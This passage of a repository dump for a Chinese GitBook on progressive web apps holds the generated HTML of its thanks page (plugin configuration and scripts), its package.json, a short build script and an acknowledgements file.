&#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:43 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"appendix01/3-lighthouse-case.html\" class=\"navigation navigation-prev navigation-unique\" aria-label=\"Previous page: 3 Lighthouse 使用案例\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"感谢\",\"level\":\"1.12\",\"depth\":1,\"previous\":{\"title\":\"3 Lighthouse 使用案例\",\"level\":\"1.11.3\",\"depth\":2,\"path\":\"appendix01/3-lighthouse-case.md\",\"ref\":\"appendix01/3-lighthouse-case.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"thanks.md\",\"mtime\":\"2019-06-19T10:37:43.466Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"pwa-book\",\n  \"version\": \"0.0.1\",\n  \"description\": \"\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"dev\": \"gitbook install && gitbook serve\",\n    \"build\": \"gitbook install && gitbook build && sh scripts/build.sh\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/lavas-project/pwa-book\"\n  },\n  \"author\": \"lavas<lavas@baidu.com>\",\n  \"license\": \"GPL\",\n  \"dependencies\": {\n    \"gitbook-cli\": \"^2.3.2\",\n    \"gitbook-plugin-3-ba\": \"^0.9.0\",\n    \"gitbook-plugin-ace\": \"^0.3.2\",\n    \"gitbook-plugin-advanced-emoji\": \"^0.2.2\",\n    \"gitbook-plugin-anchor-navigation-ex\": \"^1.0.14\",\n    \"gitbook-plugin-anchors\": \"^0.7.1\",\n    \"gitbook-plugin-chart\": \"^0.2.2\",\n    \"gitbook-plugin-disqus\": \"^0.1.0\",\n    \"gitbook-plugin-edit-link\": \"^2.0.2\",\n    \"gitbook-plugin-emphasize\": \"^1.1.0\",\n    \"gitbook-plugin-expandable-chapters-small\": \"^0.1.7\",\n    \"gitbook-plugin-favicon\": \"0.0.2\",\n    \"gitbook-plugin-github\": \"^2.0.0\",\n    \"gitbook-plugin-include-codeblock\": \"^3.2.2\",\n    \"gitbook-plugin-local-video\": \"^1.0.1\",\n    \"gitbook-plugin-page-footer-ex\": \"^0.1.2\",\n    \"gitbook-plugin-prism\": \"^2.4.0\",\n    \"gitbook-plugin-prism-themes\": \"0.0.2\",\n    \"gitbook-plugin-search-plus\": \"^1.0.3\",\n    \"gitbook-plugin-sectionx\": \"^3.1.0\",\n    \"gitbook-plugin-sharing-plus\": \"0.0.2\",\n    \"gitbook-plugin-simple-page-toc\": \"^0.1.2\",\n    \"gitbook-plugin-splitter\": \"0.0.8\",\n    \"gitbook-plugin-todo\": \"^0.1.3\"\n  }\n}\n"
  },
  {
    "path": "scripts/build.sh",
    "content": "export PATH=$NODEJS_BIN_LATEST:$PATH\n\nrm -rf ./docs/*\ncp -rf ./_book/* ./docs\nrm -rf ./docs/docs\n\necho \"build success!!!\"\n"
  },
  {
    "path": "thanks.md",
    "content": "# 致谢\n\n最后，感谢所有参与本书编写、校对的小伙伴，感谢你们辛勤的付出，相信 Web，相信 PWA ！\n"
  }
]